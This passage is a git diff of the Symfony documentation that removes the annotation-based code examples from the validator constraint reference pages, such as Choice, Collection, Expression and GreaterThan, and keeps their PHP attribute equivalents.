 reference/constraints/NotBlank.rst            | 15 ---
 .../constraints/NotCompromisedPassword.rst    | 15 ---
 reference/constraints/NotEqualTo.rst          | 22 -----
 reference/constraints/NotIdenticalTo.rst      | 22 -----
 reference/constraints/NotNull.rst             | 15 ---
 reference/constraints/Positive.rst            | 15 ---
 reference/constraints/PositiveOrZero.rst      | 15 ---
 reference/constraints/Range.rst               | 73 --------------
 reference/constraints/Regex.rst               | 52 ----------
 reference/constraints/Sequentially.rst        | 24 -----
 reference/constraints/Time.rst                | 16 ---
 reference/constraints/Timezone.rst            | 15 ---
 reference/constraints/Traverse.rst            | 15 ---
 reference/constraints/Type.rst                | 33 -------
 reference/constraints/Ulid.rst                | 15 ---
 reference/constraints/Unique.rst              | 15 ---
 reference/constraints/Url.rst                 | 66 -------------
 reference/constraints/UserPassword.rst        | 17 ----
 reference/constraints/Uuid.rst                | 15 ---
 reference/constraints/Valid.rst               | 57 -----------
 validation.rst                                | 99 +------------------
 validation/custom_constraint.rst              | 23 +----
 validation/groups.rst                         | 27 -----
 validation/sequence_provider.rst              | 72 --------------
 validation/severity.rst                       | 25 -----
 validation/translations.rst                   | 15 ---
 72 files changed, 21 insertions(+), 1967 deletions(-)

diff --git a/form/embedded.rst b/form/embedded.rst
index 156b8a7a767..901f9ea6275 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -24,9 +24,7 @@ creating the ``Category`` class::
 
     class Category
     {
-        /**
-         * @Assert\NotBlank
-         */
+        #[Assert\NotBlank]
         public $name;
     }
 
@@ -38,10 +36,8 @@ Next, add a new ``category`` property to the ``Task`` class::
     {
         // ...
 
-        /**
-         * @Assert\Type(type="App\Entity\Category")
-         * @Assert\Valid
-         */
+        #[Assert\Type(type: Category::class)]
+        #[Assert\Valid]
         protected $category;
 
         // ...
diff --git a/forms.rst b/forms.rst
index 6edffafa232..f1246282efa 100644
--- a/forms.rst
+++ b/forms.rst
@@ -469,27 +469,6 @@ object.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Task.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Task
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            public $task;
-
-            /**
-             * @Assert\NotBlank
-             * @Assert\Type("\DateTime")
-             */
-            protected $dueDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Task.php
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 20317136983..30d71bbebfc 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -18,24 +18,6 @@ entry in that array:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\All({
-             *     @Assert\NotBlank,
-             *     @Assert\Length(min=5)
-             * })
-             */
-            protected $favoriteColors = [];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 42067f0c231..8b400c66dd1 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -22,34 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Student.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Student
-        {
-            /**
-             * @Assert\AtLeastOneOf({
-             *     @Assert\Regex("/#/"),
-             *     @Assert\Length(min=10)
-             * })
-             */
-            protected $password;
-
-            /**
-             * @Assert\AtLeastOneOf({
-             *     @Assert\Count(min=3),
-             *     @Assert\All(
-             *         @Assert\GreaterThanOrEqual(5)
-             *     )
-             * })
-             */
-            protected $grades;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Student.php
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 0f041e4a26f..7cc2e46f558 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -20,21 +20,6 @@ will contain a Business Identifier Code (BIC).
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Bic
-             */
-            protected $businessIdentifierCode;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index b09156296f2..fe17e88e40f 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -27,21 +27,6 @@ of an ``Author`` class were blank, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Blank
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index bf9f14b29e4..fd30933e89f 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -28,25 +28,6 @@ Configuration
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Context\ExecutionContextInterface;
-
-        class Author
-        {
-            /**
-             * @Assert\Callback
-             */
-            public function validate(ExecutionContextInterface $context, $payload)
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -178,20 +159,6 @@ You can then use the following configuration to invoke this validator:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Callback({"Acme\Validator", "validate"})
-         */
-        class Author
-        {
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -280,8 +247,8 @@ constructor of the Callback constraint::
 
 .. warning::
 
-    Using a ``Closure`` together with annotation configuration will disable the
-    annotation cache for that class/property/method because ``Closure`` cannot
+    Using a ``Closure`` together with attribute configuration will disable the
+    attribute cache for that class/property/method because ``Closure`` cannot
     be cached. For best performance, it's recommended to use a static callback method.
 
 Options
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index b01eed6460e..59f0d048f15 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -19,24 +19,6 @@ on an object that will contain a credit card number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\CardScheme(
-             *     schemes={"VISA"},
-             *     message="Your credit card number is invalid."
-             * )
-             */
-            protected $cardNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 365d57e4960..a4150d82d55 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -23,30 +23,6 @@ If your valid choice list is simple, you can pass them in directly via the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            const GENRES = ['fiction', 'non-fiction'];
-
-            /**
-             * @Assert\Choice({"New York", "Berlin", "Tokyo"})
-             */
-            protected $city;
-
-            /**
-             * You can also directly provide an array constant to the "choices" option in the annotation
-             *
-             * @Assert\Choice(choices=Author::GENRES, message="Choose a valid genre.")
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -152,21 +128,6 @@ constraint.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(callback="getGenres")
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -230,21 +191,6 @@ you can pass the class name and the method as an array.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(callback={"App\Entity\Genre", "getGenres"})
-             */
-            protected $genre;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 0ad183a9e2b..31080ab1abb 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -17,21 +17,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/NetworkSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class NetworkSettings
-        {
-            /**
-             * @Assert\Cidr
-             */
-            protected $cidrNotation;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/NetworkSettings.php
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 6830dcc0956..7ad50771226 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -51,36 +51,6 @@ following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Collection(
-             *     fields = {
-             *         "personal_email" = @Assert\Email,
-             *         "short_bio" = {
-             *             @Assert\NotBlank,
-             *             @Assert\Length(
-             *                 max = 100,
-             *                 maxMessage = "Your short bio is too long!"
-             *             )
-             *         }
-             *     },
-             *     allowMissingFields = true
-             * )
-             */
-            protected $profileData = [
-                'personal_email' => '...',
-                'short_bio' => '...',
-            ];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -214,7 +184,7 @@ you can do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
+    .. code-block:: php-attributes
 
         // src/Entity/Author.php
         namespace App\Entity;
@@ -223,14 +193,17 @@ you can do the following:
 
         class Author
         {
-            /**
-             * @Assert\Collection(
-             *     fields={
-             *         "personal_email"  = @Assert\Required({@Assert\NotBlank, @Assert\Email}),
-             *         "alternate_email" = @Assert\Optional(@Assert\Email)
-             *     }
-             * )
-             */
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Required([
+                        new Assert\NotBlank,
+                        new Assert\Email,
+                    ]),
+                    'alternate_email' => new Assert\Optional(
+                        new Assert\Email
+                    ),
+                ],
+            )]
             protected $profileData = ['personal_email' => 'email@example.com'];
         }
 
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 2af5d157e94..695ae4f00ec 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -19,30 +19,6 @@ you can create your own named set or requirements to be reused consistently ever
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Validator/Constraints/PasswordRequirements.php
-        namespace App\Validator\Constraints;
-
-        use Symfony\Component\Validator\Constraints\Compound;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Annotation
-         */
-        class PasswordRequirements extends Compound
-        {
-            protected function getConstraints(array $options): array
-            {
-                return [
-                    new Assert\NotBlank(),
-                    new Assert\Type('string'),
-                    new Assert\Length(['min' => 12]),
-                    new Assert\NotCompromisedPassword(),
-                ];
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Validator/Constraints/PasswordRequirements.php
@@ -65,29 +41,14 @@ you can create your own named set or requirements to be reused consistently ever
             }
         }
 
-Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
-use it as an annotation/attribute in other classes. If the constraint has
+Add ``#[\Attribute]`` to the constraint class if you want to
+use it as an attribute in other classes. If the constraint has
 configuration options, define them as public properties on the constraint class.
 
 You can now use it anywhere you need it:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity\User;
-
-        use App\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\PasswordRequirements()
-             */
-            public $plainPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 59c75351906..71597687931 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -18,26 +18,6 @@ you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Count(
-             *      min = 1,
-             *      max = 5,
-             *      minMessage = "You must specify at least one email",
-             *      maxMessage = "You cannot specify more than {{ limit }} emails"
-             * )
-             */
-            protected $emails = [];
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index b3b65638646..5a47a7cae44 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Country
-             */
-            protected $country;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 4d6a7cce7e2..383c112fa85 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -21,40 +21,6 @@ the named CSS colors:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Bulb.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Bulb
-        {
-            /**
-             * @Assert\CssColor
-             */
-            protected $defaultColor;
-
-            /**
-             * @Assert\CssColor(
-             *     formats = Assert\CssColor::HEX_LONG,
-             *     message = "The accent color must be a 6-character hexadecimal color."
-             * )
-             */
-            protected $accentColor;
-
-            /**
-             * @Assert\CssColor(
-             *     formats = {
-             *         Assert\CssColor::BASIC_NAMED_COLORS,
-             *         Assert\CssColor::EXTENDED_NAMED_COLORS
-             *     },
-             *     message = "The color '{{ value }}' is not a valid CSS color name."
-             * )
-             */
-            protected $currentColor;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Bulb.php
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 32e806edca0..ccf1a2928bf 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -17,21 +17,6 @@ a valid currency, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\Currency
-             */
-            protected $currency;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 8bb0ddb20e1..aad3db2faef 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -15,22 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Date
-             * @var string A "Y-m-d" formatted value
-             */
-            protected $birthday;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 66c7f83c69d..39ca4e3a5a1 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -15,22 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\DateTime
-             * @var string A "Y-m-d H:i:s" formatted value
-             */
-            protected $createdAt;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 2c1fdb4fe87..19f69414dd5 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -25,28 +25,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Item.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Item
-        {
-            /**
-             * @Assert\DivisibleBy(0.25)
-             */
-            protected $weight;
-
-            /**
-             * @Assert\DivisibleBy(
-             *     value = 5
-             * )
-             */
-            protected $quantity;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Item.php
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index f997c4e9292..7046fe4a893 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -15,23 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Email(
-             *     message = "The email '{{ value }}' is not a valid email."
-             * )
-             */
-            protected $email;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 06578c27c19..41e95947963 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -25,28 +25,6 @@ and that the ``age`` is ``20``, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\EqualTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\EqualTo(
-             *     value = 20
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1df2fe73653..1cfa8b5a058 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -55,24 +55,6 @@ One way to accomplish this is with the Expression constraint:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BlogPost.php
-        namespace App\Model;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Expression(
-         *     "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
-         *     message="If this is a tech post, the category should be either php or symfony!"
-         * )
-         */
-        class BlogPost
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BlogPost.php
@@ -152,28 +134,6 @@ more about the expression language syntax, see
 
     .. configuration-block::
 
-        .. code-block:: php-annotations
-
-            // src/Model/BlogPost.php
-            namespace App\Model;
-
-            use Symfony\Component\Validator\Constraints as Assert;
-
-            class BlogPost
-            {
-                // ...
-
-                /**
-                 * @Assert\Expression(
-                 *     "this.getCategory() in ['php', 'symfony'] or value == false",
-                 *     message="If this is a tech post, the category should be either php or symfony!"
-                 * )
-                 */
-                private $isTechnicalPost;
-
-                // ...
-            }
-
         .. code-block:: php-attributes
 
             // src/Model/BlogPost.php
@@ -306,26 +266,6 @@ type (numeric, boolean, strings, null, etc.)
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/Analysis.php
-        namespace App\Model;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Analysis
-        {
-            /**
-             * @Assert\Expression(
-             *     "value + error_margin < threshold",
-             *     values = { "error_margin": 0.25, "threshold": 1.5 }
-             * )
-             */
-            private $metric;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/Analysis.php
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 58309ed39d0..7fba9fb69fa 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\ExpressionLanguageSyntax
-             */
-            protected $promotion;
-
-            /**
-             * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables={"user", "shipping_centers"}
-             * )
-             */
-            protected $shippingOptions;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..8f36f2d10f5 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -56,25 +56,6 @@ below a certain file size and a valid PDF, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\File(
-             *     maxSize = "1024k",
-             *     mimeTypes = {"application/pdf", "application/x-pdf"},
-             *     mimeTypesMessage = "Please upload a valid PDF"
-             * )
-             */
-            protected $bioFile;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 22331edd957..3695486491c 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\GreaterThan(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\GreaterThan(
-             *     value = 18
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -124,21 +102,6 @@ that a date must at least be the next day:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("today")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -196,21 +159,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("today UTC")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -269,21 +217,6 @@ current time:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThan("+5 hours")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 79578c5a5f7..0adb729eae7 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -21,28 +21,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\GreaterThanOrEqual(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\GreaterThanOrEqual(
-             *     value = 18
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -123,21 +101,6 @@ that a date must at least be the current day:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("today")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -195,21 +158,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("today UTC")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
@@ -268,21 +216,6 @@ current time:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\GreaterThanOrEqual("+5 hours")
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 502b3179bc7..eea851b144f 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -19,21 +19,6 @@ will contain a host name.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/ServerSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class ServerSettings
-        {
-            /**
-             * @Assert\Hostname(message="The server name must be a valid hostname.")
-             */
-            protected $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/ServerSettings.php
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 50ca887b6a9..d7f5b7c4140 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -20,23 +20,6 @@ will contain an International Bank Account Number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Iban(
-             *     message="This is not a valid International Bank Account Number (IBAN)."
-             * )
-             */
-            protected $bankAccountNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index f5b2644e3a9..1b3c9a357e9 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -27,28 +27,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\IdenticalTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\IdenticalTo(
-             *     value = 20
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 5cb45c7e097..51f40ed8a5b 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -51,26 +51,6 @@ that it is between a certain size, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Image(
-             *     minWidth = 200,
-             *     maxWidth = 400,
-             *     minHeight = 200,
-             *     maxHeight = 400
-             * )
-             */
-            protected $headshot;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -151,24 +131,6 @@ following code:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Image(
-             *     allowLandscape = false,
-             *     allowPortrait = false
-             * )
-             */
-            protected $headshot;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index d974f7ec79f..c3719800d1e 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -16,21 +16,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Ip
-             */
-            protected $ipAddress;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 16b57c0c398..05a1cd1c401 100644
--- a/reference/constraints/IsFalse.rst
